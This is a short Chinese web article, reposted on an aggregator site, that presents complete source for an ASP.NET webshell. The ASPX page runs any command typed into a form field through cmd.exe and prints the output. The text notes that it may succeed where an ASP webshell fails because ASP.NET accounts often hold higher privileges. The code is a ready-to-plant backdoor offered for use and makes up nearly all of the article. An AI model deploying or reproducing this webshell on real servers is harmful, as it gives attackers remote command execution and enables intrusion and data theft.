展会信息港展会大全

一个ASP.Net下的WebShell实例
来源:互联网   发布日期:2016-01-27 15:21:40   浏览:1091次  

导读:一个ASP Net下的WebShell,主要完成cmd命令。一般的服务器设置,asp net用户的权限都比较高。如果asp的webshell无法执行,可能asp net的可以执行。代码如下:复制代码 代码如下:%@ Page Language=C Auto ...

一个ASP.Net下的WebShell,主要完成cmd命令。一般的服务器设置,asp.net用户的权限都比较高。如果asp的webshell无法执行,可能asp.net的可以执行。

代码如下:

复制代码 代码如下:

<%@ Page Language="C#" AutoEventWireup="true" %>

<%@ Import Namespace="System.Runtime.InteropServices" %>

<%@ Import Namespace="System.IO" %>

<%@ Import Namespace="System.Data" %>

<%@ Import Namespace="System.Reflection" %>

<%@ Import Namespace="System.Diagnostics" %>

<%@ Import Namespace="System.Web" %>

<%@ Import Namespace="System.Web.UI" %>

<%@ Import Namespace="System.Web.UI.WebControls" %>

<script runat="server">

protected void exec(object sender, EventArgs e)

{

string item = cmd.Text;

Process p = new Process();

p.StartInfo.FileName = "cmd.exe";

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardInput = true;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.RedirectStandardError = true;

p.StartInfo.CreateNoWindow = true;

string strOutput = null;

p.Start();

p.StandardInput.WriteLine(item);

p.StandardInput.WriteLine("exit");

strOutput = p.StandardOutput.ReadToEnd();

p.WaitForExit();

p.Close();

Response.Write("<pre>");

Response.Write(strOutput);

Response.Write("</pre>");

}

protected void Page_Load(object sender, EventArgs e)

{

}

</script>

<form id="form1" runat="server">

<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />

</form>

赞助本站

人工智能实验室

相关热词: WebShell Net

AiLab云推荐
推荐内容
展开

热门栏目HotCates

Copyright © 2010-2024 AiLab Team. 人工智能实验室 版权所有    关于我们 | 联系我们 | 广告服务 | 公司动态 | 免责声明 | 隐私条款 | 工作机会 | 展会港